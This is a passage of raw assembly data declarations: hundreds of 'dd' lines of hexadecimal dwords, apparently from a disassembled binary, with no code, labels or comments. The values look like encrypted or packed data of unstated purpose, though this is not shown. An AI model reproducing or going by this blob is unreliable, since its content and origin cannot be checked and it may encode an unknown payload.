		dd 5336EF87h, 0A2788F92h, 0D075EA2Fh, 2F252189h, 1415B9F0h
		dd 83A02335h, 0F949F275h, 0F59CE87Eh, 5EA5F1CCh, 9E96CCE5h
		dd 532D0EBAh, 0CF556E08h, 0F7ADA78Ah, 0D06A634Fh, 26DB6007h
		dd 8268C67h, 93EEE18Dh,	1F083FFh, 0D6170084h, 250FE3F9h
		dd 1BC496FEh, 2C6AA89Fh, 37866DA7h, 0F030D76Dh,	42572DEh
		dd 0F506A127h, 0F7717BE1h, 36EA8EC5h, 851348CCh, 0A64A4D77h
		dd 2F672827h, 0D44BB7A4h, 6679BD54h, 11692640h,	7E15722h
		dd 37FBCB1Ah, 0DDB70FC2h, 7E5084EFh, 361E1B80h,	0A58C9BAEh
		dd 0E786CE9h, 117E2E7Ch, 12080EAFh, 0CD4D8Fh, 34BFED2Bh
		dd 54E23A46h, 0FE97129Ah, 2108F3F8h, 9E2E43C1h,	0B4F8E6AAh
		dd 0A9CE2D34h, 0F81AF987h, 1FF6EDDDh, 0A294323Bh, 435AC4B9h
		dd 0FB28438Bh, 7D873857h, 45AD9FEAh, 1396FE35h,	0B52F1FDEh
		dd 1BBDBF6Ch, 6F518458h, 0C728A604h, 56B80FC6h,	83994B7Ah
		dd 2D9159E8h, 0D376CE7Ch, 0B4F1E399h, 6870A6FDh, 415AEE39h
		dd 445B2F46h, 0A83E69CDh, 5FE8A569h, 38824480h,	0E673726Ah
		dd 24935235h, 5DB43A3Eh, 0D24EBBB5h, 7F2F167Ah,	636C935Ch
		dd 0CE220705h, 0D6D5C6CAh, 0E518BEE4h, 630EF160h, 0E8B9B121h
		dd 936F4C41h, 451C77B6h, 941B70F1h, 0E39C5CCh, 5731411Fh
		dd 9EE4BB2Ch, 81D76F1Fh, 0F5612B6Ah, 84B4C626h,	0E75EA3E5h
		dd 960E8EFEh, 0E4F63890h, 0B2E5EDF8h, 31A2BEFCh, 61FCC8Dh
		dd 9E9D0086h, 75092258h, 739D63D6h, 8D45B5Bh, 6EBDD944h
		dd 752EC99Ch, 78B6DDE0h, 0D9E8255Fh, 7EC0EE18h,	3E378749h
		dd 1DF4BAD3h, 0D8A42AD4h, 1AA83A0h, 0B6125092h,	0ECFF4CF6h
		dd 0E55B074Eh, 0EFF3EAA7h, 7B2F4E08h, 97F1C534h, 7B3A8039h
		dd 4C1AFA72h, 9995BAC5h, 2015C728h, 26B1E338h, 15BFC227h
		dd 0D8853171h, 2B58944Fh, 95BCE573h, 0D3378492h, 2B1E4601h
		dd 0EAE5DB94h, 5BF34C4Ah, 0B878B869h, 0A26C5C8Dh, 2673464Fh
		dd 0C250F742h, 7DA452B6h, 0B5B71EE3h, 267E62EAh, 6EB8F5EEh
		dd 0B95E30D3h, 441C230Fh, 4C218979h, 0A6605EEFh, 0E7E30CB0h
		dd 7017EF7Fh, 73EA05F5h, 75610644h, 7FCF58E6h, 0F2E97012h
		dd 14D6884Fh, 0B7EB9BD6h, 0A999FAFEh, 9C3BF31Bh, 0D9C76DB6h
		dd 3DFB6CADh, 0B5358457h, 9E371018h, 0BBA304C1h, 16BB3CB5h
		dd 0B45B3E79h, 737DC7Fh, 722AC139h, 55A7DEC7h, 0ED1C2A63h
		dd 0D68D9B9Ch, 0A77331B7h, 0F446EF3Dh, 0D93C112Fh, 1DAF35B2h
		dd 0EA49BF47h, 21B211B1h, 0F07A88CEh, 0EB30C230h, 0A42C4280h
		dd 0CF81176h, 6AD6C84Fh, 12408CA9h, 9A447EACh, 0E818B8DAh
		dd 6514138Dh, 0F6292AC7h, 489BEB9Ah, 3E157635h,	0A421F659h
		dd 3D889291h, 664BE7A0h, 663A4267h, 0E6CF8340h,	3E1AC70Ch
		dd 0BB3749DBh, 0A15C2258h
		dd 0DBC6E91Fh, 7B39D39Dh, 8E8905Fh, 60C9093Fh, 1467BECCh
		dd 0F7EE4D68h, 0FAE811D0h, 17C637ACh, 52A28883h, 28E16B44h
		dd 2BAE12A2h, 3EB9BA5Dh, 26E4E222h, 0BF2D5BCDh,	0D3D3582h
		dd 1FA3316Eh, 0D467A19Fh, 0B8057615h, 650FD40Bh, 71C1EBF1h
		dd 0C3F1F0Bh, 3FF7EBB5h, 0A57E12E4h, 559CDCA0h,	4EE0A080h
		dd 0BFF5D248h, 751A8449h, 0C4B65DD7h, 188B6398h, 0B1BCC5ABh
		dd 385A41E1h, 0FF0800A4h, 36F76B29h, 0D47A78B0h, 1B190183h
		dd 473E1382h, 621EF603h, 4F8104C4h, 0C5F1C715h,	38F92A43h
		dd 0CC6079EBh, 2B34FEB7h, 8D47CB9h, 9C538999h, 0C483DF66h
		dd 21DBD32Ch, 9B21277Dh, 282ACF3Ch, 0D597AFA6h,	0ECA437BEh
		dd 0EE29D301h, 98D282D6h, 1B1C2E77h, 6CE58A7Eh,	0F405D8F7h
		dd 568A6396h, 0D8DEED18h, 0FBF4E137h, 71E24BF3h, 0AC006BC3h
		dd 5EE3C21Ch, 33945396h, 10A2C0DBh, 0CED9BEB1h,	6B1EBE7h
		dd 0F8686D0h, 3FD1EEB9h, 0CDBE1DB0h, 0DC3FC2CCh, 0D9FFF802h
		dd 0F125246Ah, 0EE9230D9h, 3299FCC0h, 0A8A502E4h, 34998B0Ch
		dd 3CB0680Bh, 4312F65Bh, 54D1811Fh, 0AAC56D75h,	0D3FF3536h
		dd 3CC8D524h, 28B0D3A4h, 0E96712h, 0AE009D40h, 0A5BE2E7h
		dd 0B391D441h, 65A556BDh, 68F52DC5h, 905E8BF2h,	7778EF6Ch
		dd 97FFAD62h, 0E7EBF229h, 57701Ah, 0CD2B1C15h, 0D15C28C3h
		dd 0B9C86A6h, 79292DACh, 0CC97AD67h, 8D210F79h,	264FDE9Ch
		dd 4938FCF4h, 31ED72F8h, 78B845D1h, 1A646E65h, 314A3B25h
		dd 3FAA73E7h, 645D3E70h, 0ACEE8C61h, 7C3894Ah, 0D11F0AB3h
		dd 7DC8C193h, 0E71C2642h, 2CB5F6EFh, 8DB90B5Eh,	87E3D340h
		dd 2488B4C1h, 8D05877Ah, 163F71D2h, 534D5E0Dh, 0B94ABB31h
		dd 822F19F3h, 89DB45BEh, 8B5B710Dh, 84FEAF00h, 9AFF834Bh
		dd 0C64E7F97h, 30E1C4F9h, 0B6490695h, 3C4DA352h, 0A0ECEEC3h
		dd 1094C2A4h, 0B22133AFh, 2251DF37h, 0A9F45259h, 52A32EC8h
		dd 0D9798CDBh, 7FA4CB4Fh, 28359A8Eh, 0B2F568C2h, 0BBB9D1C5h
		dd 58CFD1BAh, 0D4B6C6CCh, 8EE88F5h, 0AF16347h, 733A0771h
		dd 3BAC3D89h, 85E2FB99h, 0E33E4E36h, 0F551342h,	0F0B8E0D5h
		dd 2685DB80h, 0C88BC7EAh, 80A3D533h, 0F60B5F40h, 0A483217Fh
		dd 1B8495F1h, 4BD32062h, 0FA9C18ACh, 6EC2BC7h, 1CFC1F7h
		dd 98B69500h, 18D231A3h, 90486BF9h, 1A369EBEh, 3648E1F0h
		dd 9C853678h, 0A592E44Ah, 8C133320h, 41A535D3h,	9874F9CFh
		dd 22D2B0B1h, 737D3263h, 0AEA2D28Eh, 3EE3A708h,	0C8AEB9E1h
		dd 62250857h, 3ACB445Ch, 0FC434146h, 269CEE81h,	3360F78Bh
		dd 0F0CDD4C6h, 1B3350C1h, 0CEB021B7h, 0EA8E9340h, 479F0635h
		dd 0AD1683F9h, 0CA4B2EDEh, 0CF7B552Bh, 0E85D0C3Fh, 62574A90h
		dd 25806C62h, 380C87D5h, 252F0D5Ah, 57EFCD68h, 5350DC2Bh
		dd 7002B0D2h, 0DF882FFEh, 1594AD1Ch, 3A7E44CBh,	6B68CF5Dh
		dd 0D66D5FE3h, 67675CADh, 6ECC7BD9h, 3794DE48h,	0A1FB33Fh
		dd 2B97B2Fh, 5EF3B344h,	0EC47E985h, 284BDB9Eh, 8A12B65Eh
		dd 7BBC9BE9h, 0D9B27C02h, 3DD904B6h, 4EC7008Ah,	4E63BEEAh
		dd 0B8D6DB89h, 60FB0560h, 1E41210Ch, 9484CC93h,	5CC39C8Ch
		dd 85D0572Dh, 983B27C9h, 0EC618BB8h, 0B138B70Bh, 0E7A91A74h
		dd 1B099239h, 1ACE98AEh, 0CF480ECEh, 617DD4A8h,	0A9CC418Eh
		dd 18E7684Ah, 0EED4EAE1h, 0C62E9D75h, 0ABE6D3C1h, 0FC31697Ch
		dd 37A97C25h, 9DB74F8Ah, 40AF1BB5h, 9FAD1D5Dh, 6909364Eh
		dd 604727D7h, 5B4FFB25h, 3E0144B3h, 0B831723Fh,	3CDA81DBh
		dd 703317Ah, 194FED88h,	0A2F57DAFh, 4A1F1E99h, 14C65ECFh
		dd 0F6179653h, 42729D7Ch, 6DE8DA24h, 0DA78A179h, 1CA2244Eh
		dd 4E2E2594h, 0F062E7FFh, 2C15BF3Eh, 552FC7FFh,	77CF8947h
		dd 0B7D9CEA6h, 3528950Ah, 0ACA2440Eh, 9AB92DE4h, 0F1295D79h
		dd 9EF1C929h, 0F544DE3Bh, 3EE162F3h, 53474D08h,	0BF2B243h
		dd 41D0AE8Ch, 6D8801FBh, 0B0808776h, 506F3946h,	0FCB80A75h
		dd 0CC09D6BAh, 0E4E5F865h, 82C1E676h, 777F8E2Bh, 0D00FCCF5h
		dd 0A14CD81Ah, 2111883Eh, 4EA961A3h, 1E0BCDB7h,	0B0521AC9h
		dd 0AE194FB9h, 0D1A3B9BCh, 1CCFE4EEh, 0B3166A1Dh, 216EB350h
		dd 0BF17A534h, 3F57BA86h, 0B286AA4Bh, 0C96D2F15h, 0ADC33043h
		dd 0CB7992F9h, 485E7874h, 0B7281A4h, 1EC0C104h,	3B95F35Bh
		dd 0BAB1D156h, 8DD1C3F0h, 9026D776h, 33EFE207h,	50B7D83Bh
		dd 0D141139Ch, 0E1E6391Fh, 73138A49h, 0DFB3FE25h, 4E36179Ah
		dd 41E06C0Fh, 0B2B79AAAh, 0EB92CEE3h, 0DADD886Bh, 138999C1h
		dd 0DE69B96Eh, 0F881154h, 774AF332h, 52CED522h,	96EC8053h
		dd 1245DAC4h, 15C5255Bh, 0B97C280h, 15271E73h, 8E0DB753h
		dd 96F9868Dh, 136AF231h, 75050B66h, 4AF65F6Dh, 78BF1204h
		dd 8F62CBEFh, 0B2F1F810h, 0DEDFF864h, 0BFCEBC44h, 38B97B11h
		dd 0C15BE984h, 48490476h, 32D08FDBh, 0D8B2512h,	7E85E0FDh
		dd 0B1F2C985h, 0DE94F4ECh, 1A583D22h, 0F8D4ECBCh, 0EBFC26D6h
		dd 0D9F19419h, 3BA61184h, 769E0BEAh, 7FCC5C71h,	5ACC7913h
		dd 0BFB68912h, 0F0876DDAh, 0D5A6BE71h, 116C0E61h, 4C57E2FAh
		dd 0A68BEA90h, 6D057C5Dh, 448C5282h, 0BC0CC615h, 0DFDC54CCh
		dd 0AFD75A65h, 83FBDE63h, 4A4D4965h, 93B8F9F9h,	21E7D897h
		dd 0F3649C8Ch, 1EBB4924h, 0B27736DBh, 899FBFA9h, 82EEA005h
		dd 0FF065C2h, 0A26EA297h, 6B282393h, 0A9E6F066h, 0D8720A9Eh
		dd 0F95FF598h, 7950D8A8h, 0A34FC02Fh, 0E7B70E25h, 0B7D501Eh
		dd 0C195A02Ah, 28F7D848h, 9253AC00h, 5DEEAA5Dh,	967342BAh
		dd 3D201B69h, 31D10040h, 8F41E77Fh, 5FACA140h, 932CA109h
		dd 0AAF9CA61h, 883E987h, 168B22C6h, 0CD6BFDC0h,	0CAA8C1F5h
		dd 799EC8C4h, 42E504AFh, 0B6C75829h, 35510F79h,	0D078263Bh
		dd 0CF2FC2F8h, 69A1359Fh, 10AC7B65h, 0ECE10F7Fh, 2D792CB8h
		dd 8D70B435h, 8CCE6B26h, 0B4C668CFh, 8161BED1h,	0E86B239Ah
		dd 0DC4063BFh, 238DAEAh, 0BB97883Fh, 18846E62h,	8E9D0524h
		dd 7035D927h, 8B50F930h, 71E9E54h, 105C57C7h, 6CA534F2h
		dd 535D268h, 0BD30693Dh, 4676D1F5h, 3FACBEE2h, 0F50DF8B2h
		dd 0E469B6EEh, 19E9DEB7h, 0F04C476Bh, 0FC0CAB2h, 1BCA2A1Ah
		dd 28F28B95h, 7A83B061h, 9C8EB022h, 0DEBFDAF0h,	0CFD76C57h
		dd 0B788BCF9h, 8C4B1373h, 73FE7B6Ch, 191FC130h,	0AD28919Bh
		dd 5CF6582Dh, 0D92A5983h, 498A53A2h, 7062372Dh,	0DB2D99A1h
		dd 0EC92C9B1h, 5329A7A2h, 5945B314h, 11F71A11h,	0AA3E2F47h
		dd 144209B7h, 0AB2D7801h, 472DC2BAh, 87C06202h,	0B3C99D0Fh
		dd 855882EFh, 0D341D8EEh, 0EFC5BB12h, 555620BDh, 5B4B62E3h
		dd 23D0D38Ch, 76E25B58h, 35A5217Ch, 0D2C18B0Bh,	2A58CBA4h
		dd 5817E0C2h, 5E2815D6h, 171A536Fh, 7C26ECEBh, 1197B4CAh
		dd 7D95DE48h, 0CA394985h, 3A5FC619h, 28352CF6h,	67D790ECh
		dd 2A3FD3E0h, 803A2173h, 0E3DF0486h, 3D93232Ah,	7B895651h
		dd 0E92FCA96h, 24EFFE4h, 0C2EAF7C9h, 0F7F85CB3h, 844A210Fh
		dd 0DE45B953h, 0D9AC65Bh, 0A30008FCh, 76D31215h, 0F2DA4B7Bh
		dd 0A4461C2Dh, 9FE81CCCh, 0D45B8025h, 9D96D3CCh, 0C7F5309Bh
		dd 7D1658E3h, 0E0193630h, 3F77F6F8h, 3645C265h,	123EDD5Fh
		dd 1506B9DFh, 0ADE7CB36h, 5EADE715h, 7529C322h,	49CA649Ah
		dd 0EA9EACD6h, 0EF6858C5h, 14FD660Ah, 0A82F7371h, 0FCC361E6h
		dd 1DE4466Dh, 7BC67940h
		dd 0F7C3595Bh, 3927B059h, 0B7C7BD05h, 9D29016Dh, 0E1687CD7h
		dd 39229094h, 8778AB7Dh, 6C62396Fh, 0B2B6C94Eh,	4C004F05h
		dd 7D736B16h, 23EE4E87h, 0F3DBB42Dh, 8BBAB1F6h,	5C727393h
		dd 7C2204DAh, 3E8015E2h, 0C8435E1Bh, 9F14BE82h,	0BBD25138h
		dd 0D04BD592h, 0DF2AC148h, 0E34351E3h, 0F3DA1C4Bh, 0E39FCC6Bh
		dd 0C4519803h, 17C58652h, 0F75DE0A3h, 1FDED6B1h, 0ACB87794h
		dd 0A24173C5h, 0D7B45A6Bh, 0D93A87D9h, 4F0F2EB0h, 0E6585FAEh
		dd 208A404Ah, 297AB294h, 0DCBB3D6Eh, 5531A3FAh,	264011D1h
		dd 5EAF39E6h, 9BD47452h, 85FA7FDh, 0A3353970h, 2B317D76h
		dd 6958641h, 8FA7C508h,	0D34C95B9h, 9F046106h, 0CC6131F6h
		dd 0B9461B7Ah, 0C714079h, 27412EB1h, 7FEDD6FBh,	7EA7BAB0h
		dd 0C3EBF0C8h, 0E8434568h, 0AA18A7D0h, 419E8B40h, 19E02B99h
		dd 28AAF420h, 7D5481B0h, 42BEFC33h, 0B73BD2FCh,	0C670DC37h
		dd 0C8E43F23h, 77206D4Ch, 6C5BCA4Dh, 0D23E3A0Fh, 54CF0C26h
		dd 2752D27Fh, 0ED6ACE82h, 67F22D1Fh, 0E74B9938h, 0E2EDFA6Fh
		dd 0CB740488h, 4AB29956h, 0DE2C6569h, 0DEE673C1h, 1FDE91CFh
		dd 2BB59122h, 6B471ADBh, 9BBD0B60h, 5D3985E7h, 97E5D99Ch
		dd 0C859698Bh, 0DAC61D18h, 3801C995h, 4FB1CF4Ch, 5F23C195h
		dd 0FEEE4B41h, 0A6FA8A81h, 0B76F4FF6h, 362A7A4Fh, 2B202579h
		dd 0E7DFB5FCh, 55999FC7h, 9C1F9AADh, 0A1EC8760h, 4E5AE3C2h
		dd 7AEBEC42h, 0B8505A64h, 29D81E6Fh, 0E0A9A037h, 0B03CD906h
		dd 1BA168D7h, 0BFE83D30h, 0DDC43A74h, 0CB46D5BAh, 6E0CDBDFh
		dd 0C3049EFh, 6D9E30FFh, 15CB358Ah, 822779BAh, 9E7E2376h
		dd 80D241A9h, 0AE523A71h, 7A694D4Bh, 368B0BD1h,	7A99FD1Fh
		dd 0C87D38D8h, 4AEB42A1h, 0FAAEAFE2h, 0FB0E43Ah, 4B8B5C84h
		dd 0D76B8018h, 5D53B3E3h, 5B1F175Ah, 0A0C5CF9Fh, 2EF9377h
		dd 100900D0h, 377158FBh, 0E7B8CE06h, 0E3E01BBBh, 598F479Ch
		dd 26D79287h, 9B811DC2h, 0B063291Ch, 0CF6DA3C3h, 114E3651h
		dd 0AC0F7B38h, 563A9FBCh, 5C4BAD4Ch, 6C5E2CABh,	0D40B4F30h
		dd 849E5310h, 0A76067E3h, 91BE0C03h, 693EDA49h,	0A132830Eh
		dd 4B2BBF1Fh, 9997DF14h, 0D0E79058h, 939A0A10h,	0BB99F541h
		dd 164B3FF7h, 6E0FCE20h, 0E94B3EFCh, 57BCC903h,	0CBD43D56h
		dd 4283E7C0h, 3DB7DFBCh, 0CEFD496Ch, 75F284A2h,	2E668F73h
		dd 0A9207044h, 5DBAADD0h, 0E2CB1D7Ch, 53DF062Fh, 0D27D8BB1h
		dd 334CBB6Ah, 245D17A7h, 0CF34A41Fh, 0D66F8FA6h, 0E64310C2h
		dd 12401448h, 99BE8125h, 8C43E91h, 0B646171h, 0AE62E895h
		dd 8165DD24h, 0A8F52D4Eh, 23C8DAEAh, 0B412242Dh, 6A9DCA9Fh
		dd 1481FA81h, 123B3043h, 0A78B4E03h, 59A70648h,	54E8CCD0h
		dd 0F018A14h, 14047D24h, 6B970962h, 9689FD45h, 1AC52634h
		dd 0AFD76FDAh, 48C60199h, 9840D5FAh, 0BE32BDECh, 0D1B3E6B7h
		dd 1718909h, 0E8C2A879h, 50DB181Ch, 0F6FC4F4Ch,	83D6A6F0h
		dd 967C221h, 7613CC7Fh,	1D828CD2h, 0AA231AF4h, 0DFE50137h
		dd 0EFC44196h, 5D27DC70h, 61A9F307h, 543BF408h,	233D3D4Ch
		dd 7181CE99h, 4ADA1D24h, 0F5FA7DFh, 426499BEh, 0BE6573D2h
		dd 0DA3F33BAh, 0DE8B1377h, 197A8F81h, 5915794Ch, 8CA00333h
		dd 2D10F4D0h, 1B2E43E3h, 585CA5ADh, 32FC0E7h, 0A167E49Dh
		dd 20B4C7ECh, 7D3E6408h, 0A884B295h, 63A7851Ch,	876C99B3h
		dd 287B5C5h, 0E9A2E445h, 3A1AD57Dh, 2D451842h, 0F477AC1Eh
		dd 0FA50DD11h, 93E57E92h, 2DE323C9h, 20D0BC28h,	1F086750h
		dd 1D919AAh, 964AEEE0h,	9CDFCDCBh, 5C9B14FCh, 99BBBCB2h
		dd 98726645h, 35F66878h, 76F57E6Bh, 6CA7DEBAh, 0EAE70ADAh
		dd 5B5895EEh, 587B6C95h, 5A7D2212h, 70128CB7h, 71A71572h
		dd 544CFF12h, 6E55F7A5h, 402E326Ch, 404AE28Dh, 0AB31A368h
		dd 8B2021F2h, 0CC0EE104h, 40EDA974h, 5455F10Dh,	1BEF2DEEh
		dd 1FA9A969h, 0B54FC936h, 0F7D5899Ch, 5B87679Fh, 4E3955C1h
		dd 93E4FA58h, 1D3210BEh, 53188529h, 270635B2h, 0E4DFDD58h
		dd 0DFFD2048h, 0A7FFCE0Eh, 91C037B0h, 0BB439E4h, 0EA17E00h
		dd 0E3E72E6Dh, 0E31E1A36h, 2E9F390Fh, 5250E237h, 0A386FEF6h
		dd 565EB7EAh, 0AE7190E5h, 621B954Dh, 0E04CDB5Dh, 23C8FC47h
		dd 9328C7B7h, 6C2C1DD6h, 23F992E3h, 0EDA4CF0Eh,	816AE3F9h
		dd 8B356E36h, 41DD0768h, 0D65B326Ah, 650C79Bh, 889F6E0h
		dd 0AE38EAB5h, 28870FEh, 1DFA10B8h, 0B78CF2FBh,	22DA0129h
		dd 0EF2ACFA4h, 7B6222CDh, 0BB4EBF8h, 6472D617h,	0C51EAF77h
		dd 97ADC2EBh, 0BEFA206Eh, 1C4A487Ah, 0C8FF7BFAh, 590C1B15h
		dd 5E3B30A3h, 2D1C8973h, 1C933E75h, 7FF0DF77h, 4FBDB5A7h
		dd 4EEF05C0h, 3B3828A3h, 1B135BE2h, 1DC6187Ah, 0F267A722h
		dd 0CAD423D1h, 24DE05EAh, 0BD8D6DEDh, 57DB1EC9h, 600C6337h
		dd 91284581h, 54283BAAh, 5ECFBD0Ch, 40C0B230h, 51FFB75Bh
		dd 46EB02BBh, 779C4920h, 9E2736FFh, 294AFFFDh, 0D09FBE6Fh
		dd 0D20AE347h, 0E4CA426Ah, 80A92421h, 9DBAE0BEh, 0A3C74741h
		dd 4526DCCCh, 2DCA6D5h,	939CB9C1h, 0F6C2F478h, 0F9B4B35Dh
		dd 41472008h, 88045838h, 7946E1DAh, 0FE4618B8h,	0BE31F38Dh
		dd 0B73C056Eh, 99F7A622h, 9A47D900h, 1CCFF3D2h,	7934E67Dh
		dd 0EDF80770h, 0CC104213h, 70C329AFh, 735DCADDh, 2CF8577Dh
		dd 6D7921BEh, 0E61B7DEAh, 7B62DCFBh, 0B71C8789h, 0D427E120h
		dd 0F4DAD73Eh, 68F91BFCh, 39D28458h, 0A2C205B6h, 4A6F47BAh
		dd 0ABDE6075h, 45C62E23h, 8FA9D391h, 8195D4F5h,	0CA9D271Bh
		dd 699842C4h, 0AE9109B5h, 0F96CC5EBh, 0CE9201CFh, 0F1BB7795h
		dd 700124E8h, 3A57870Eh, 58D40FABh, 41AE17C0h, 0F7EFCD32h
		dd 0D220FF22h, 0B4072F18h, 8615D8D5h, 67B4FFB9h, 287C2FCEh
		dd 60703CBEh, 180CE8BEh, 0F58BA0C4h, 2EA39F2Fh,	0D1329998h
		dd 87E06C3Ch, 1AEB5CEFh, 0F1A3D841h, 0AE248A07h, 0D5B06EAEh
		dd 46E315CEh, 75B02A68h, 0A6F453E7h, 4CEC81ADh,	2C6CDBA4h
		dd 0CC03FA9Fh, 0DE963CCBh, 6B2388EBh, 0C5D06061h, 3659226Ah
		dd 0DF5CC7EEh, 0AF2347B0h, 2F75DC79h, 0F090389Bh, 56924D26h
		dd 58B68169h, 8CF219A1h, 0D7AD38AFh, 6BCD95CEh,	0A915BF9Dh
		dd 77FD6D9Dh, 0EC96B6FEh, 66C380C6h, 1180CCD2h,	0D7C9BB96h
		dd 76AF66E8h, 108E9E8Fh, 172FB61Bh, 97532269h, 8DFA822Fh
		dd 0D733C018h, 5C87AAA1h, 0EFD7250Ch, 11DBE251h, 0CB9EC701h
		dd 758FF887h, 0A6053787h, 807346D6h, 8A4FB27Fh,	85407F75h
		dd 0D0B23E41h, 0DEE337CDh, 3C758652h, 89F44EC8h, 0CB9DF812h
		dd 5438C408h, 2EB69D7Fh, 9F468FD6h, 0D57CA749h,	0FC997BFEh
		dd 457DD499h, 3F38E8FAh, 621BB498h, 3C6FAD92h, 45AA10Dh
		dd 0C845FB2Bh, 84D87930h, 76663B70h, 56D12CD8h,	0C6697358h
		dd 0A8700077h, 49A6A299h, 2F0A984Bh, 3EBE2429h,	9D710FA9h
		dd 21D6DE01h, 0D31DBB28h, 29A209ECh, 0FCBC2430h, 44AC9F1Dh
		dd 293BD572h, 7FE024BDh, 0A6C83687h, 776DC71Ah,	0B87DA854h
		dd 0E21C6B04h, 0EE301FBBh, 2F8F9605h, 0A4242A34h, 0E8E273A1h
		dd 0D9EA31C5h, 0DC173B6h, 0C480441Ah, 0E25AAAC4h, 0E300C10h
		dd 0E6CE28F9h, 0D5C51CE8h, 0E53A3928h, 0FDAD5514h, 5DBE808Bh
		dd 4AC7C86Fh, 0C6BD517Eh, 0EA6BE4D7h, 0E077B5h,	0D3FFB2BAh
		dd 4071A0A0h, 6C5BC1D8h, 30C0EE61h, 0B491675Fh,	0C7D0B7B6h
		dd 0D83F38E0h, 5336271h
		dd 32EA408Eh, 883A7743h, 0CAF1B60Fh, 8CA3E63Ch,	4429F3F7h
		dd 726DA428h, 0C7B9CDE7h, 0F4E4B464h, 0F9852098h, 0A8BB037Bh
		dd 579E51EDh, 0C40CE6A9h, 6BAB3457h, 39C0DB1Bh,	0C86B0FCh
		dd 0C2E147CEh, 1664EF92h, 9B9D5B90h, 0EECFC045h, 9DFB7961h
		dd 0C91AE08Bh, 20B7A450h, 56F62897h, 4D24B61Ah,	0DFD72981h
		dd 0A46909B8h, 7F63005Ah, 10DC4B31h, 414534FBh,	9F41D061h
		dd 5A88D477h, 0E57ADF9Fh, 3C33FDE6h, 9A8D68Ah, 0B2342111h
		dd 81168C0Dh, 69E2A770h, 7B55E024h, 0FEF74147h,	0A6A29914h
		dd 0A149D47Eh, 8301B59Dh, 0D3C8FFCh, 0AECDC949h, 39F24DD2h
		dd 0AA609FE5h, 0A48CEA00h, 0DD686AA4h, 0F8FE778Ch, 7C25855Fh
		dd 124C559Ah, 77C5491Bh, 33159044h, 0FF91EB71h,	13D85F2h
		dd 22B0ABBAh, 10D1DB9Dh, 266BE9A8h, 0AE1D2D25h,	0D40F9394h
		dd 25F7498Ah, 86ECD6ADh, 0F07F3445h, 0DF980734h, 0F0247A0h
		dd 12418DD7h, 5BF15007h, 64F0D2E4h, 0A071ADF0h,	51B11BDDh
		dd 2979F0A9h, 0A08602DBh, 0B29C76D8h, 0CEDC5CC2h, 9087921Dh
		dd 0E2406A4Ah, 659E17D5h, 0F195D323h, 0BD748B4Ah, 0C7F434DFh
		dd 7F0A334Ah, 0C1A72164h, 45514C4Fh, 26B4763Dh,	0A826AE9Eh
		dd 0B4D6E050h, 2EB0616Dh, 4ABFA9ACh, 8D9C99C0h,	0DA66996Eh
		dd 0FCB599CCh, 30439FEAh, 0DB6BC40Ah, 0EC638924h, 50B3B27Ah
		dd 3C707057h, 1C85FB7Eh, 2572AC22h, 0BE0063E8h,	0A180C5FEh
		dd 456EB97Dh, 420906B4h, 9FBF7A58h, 0C3A2ADF7h,	39787F65h
		dd 0C0278FC6h, 971942E9h, 1453787Eh, 0D33ECDE7h, 555785Fh
		dd 0AC1D4769h, 8FEDBE5Eh, 1D8C6EF1h, 230558FBh,	404966F5h
		dd 0D0960375h, 0F4B39A74h, 0F610578h, 3D8015ABh, 0D9865A85h
		dd 40B82F65h, 4FA423BDh, 3698C350h, 4041866Ah, 9351C04Fh
		dd 99AB0872h, 1747DB2h,	0A8B35DD8h, 2BF4A2ECh, 0DB1ED9DAh
		dd 3A3EA5BFh, 0BD28AAA0h, 6CCD434Ch, 0AFB91BF7h, 0F4A2B8B7h
		dd 0B5971F7Dh, 540AC4BFh, 0AA5A3981h, 27901367h, 0B8BCD577h
		dd 87F61043h, 2772F524h, 173328E1h, 306C2EFEh, 0A714F3D6h
		dd 3E2AE66h, 3E070AE4h,	4EA63093h, 0B9D656E4h, 65336798h
		dd 0F1463372h, 32CDE0BAh, 794D64CBh, 6249C1DDh,	2BB1AB0Dh
		dd 0F73DA6D3h, 6384A143h, 62380E7Ch, 44D1545Ch,	0CDA68F5Dh
		dd 661C6527h, 78215D17h, 0FF8E3A63h, 18087985h,	0B3520F00h
		dd 3B30A7F9h, 586CED44h, 0B6031779h, 0A686DD25h, 359BEE0h
		dd 0F9B2CAADh, 0C6A119B5h, 0AABCE1D0h, 94B71E8Ch, 0C7303D97h
		dd 0FE111804h, 9FBC31E0h, 17C7AED9h, 0DFCECB27h, 0B5C44E37h
		dd 57BB0522h, 34AA06A6h, 1C4A794Dh, 66D11BC2h, 93C393BAh
		dd 11D9D051h, 8C6D492Ah, 6A525CCDh, 2013FF15h, 8308C2BCh
		dd 20D7CB77h, 4978D81Ah, 0CC262C20h, 0CC4F1D3Bh, 56F086D4h
		dd 382CB55Eh, 43941365h, 0CB6BE9BEh, 1DFA539Ah,	7B607A97h
		dd 0A6D6AB15h, 0FC614F44h, 5E9D7D8Dh, 0D695EC64h, 8A50F868h
		dd 9F4B9379h, 0C9F45855h, 86050136h, 0D7A55420h, 5C42B859h
		dd 0F0AF9AB1h, 7FDF250Dh, 0FF501437h, 0F37408ADh, 0E5E20E40h
		dd 0B186BAA5h, 941FA195h, 359A379Dh, 64A36826h,	56088A64h
		dd 513C8CACh, 79C452F8h, 15C42F2Eh, 0DB2194B9h,	0F4FAB1DFh
		dd 1D857C74h, 2F105F44h, 0C74F9A55h, 9B0C7CA9h,	0E40783F4h
		dd 0F27F6234h, 0C6699348h, 3880D87Ch, 0D186CE0Ch, 0A12B1832h
		dd 0FF44303Ah, 97447BBCh, 1D7F2FB3h, 0A977CA31h, 0A0FD45ACh
		dd 287D3085h, 0AFC5CABEh, 5815F79Ah, 0A98D063h,	0EDB738C1h
		dd 7222DCB6h, 16C9EFDAh, 7222A682h, 1D62C5D8h, 0BD2EF7FCh
		dd 65569777h, 679635B9h, 5B5283C5h, 0E9F460E7h,	0BC62EFDDh
		dd 6F22D3ACh, 4511F9E2h, 0B18EB008h, 0BF341513h, 922F4A50h
		dd 0C9BA084Eh, 0C58B996h, 2D63ABD2h, 137A236Ah,	4DDCF079h
		dd 7CD9D9E2h, 68C15AF9h, 9E585572h, 2DD3B913h, 0E69B3507h
		dd 7223B6F9h, 0FE57621Ah, 6D9302EEh, 0F76E985Ch, 112914C9h
		dd 59768285h, 0E2505CF1h, 8D1E3AB7h, 9573EEB8h,	3AA84189h
		dd 7472629h, 0B83A6BB5h, 86B5C9C0h, 0DA448D8Bh,	0A1C57F9Fh
		dd 382CFF0Bh, 570D5A99h, 4ECCC9A7h, 0ACAE0575h,	0CF8D26F8h
		dd 0A0CE4225h, 4A18BF3Eh, 99846F6Ch, 0B8069ACAh, 17B48F14h
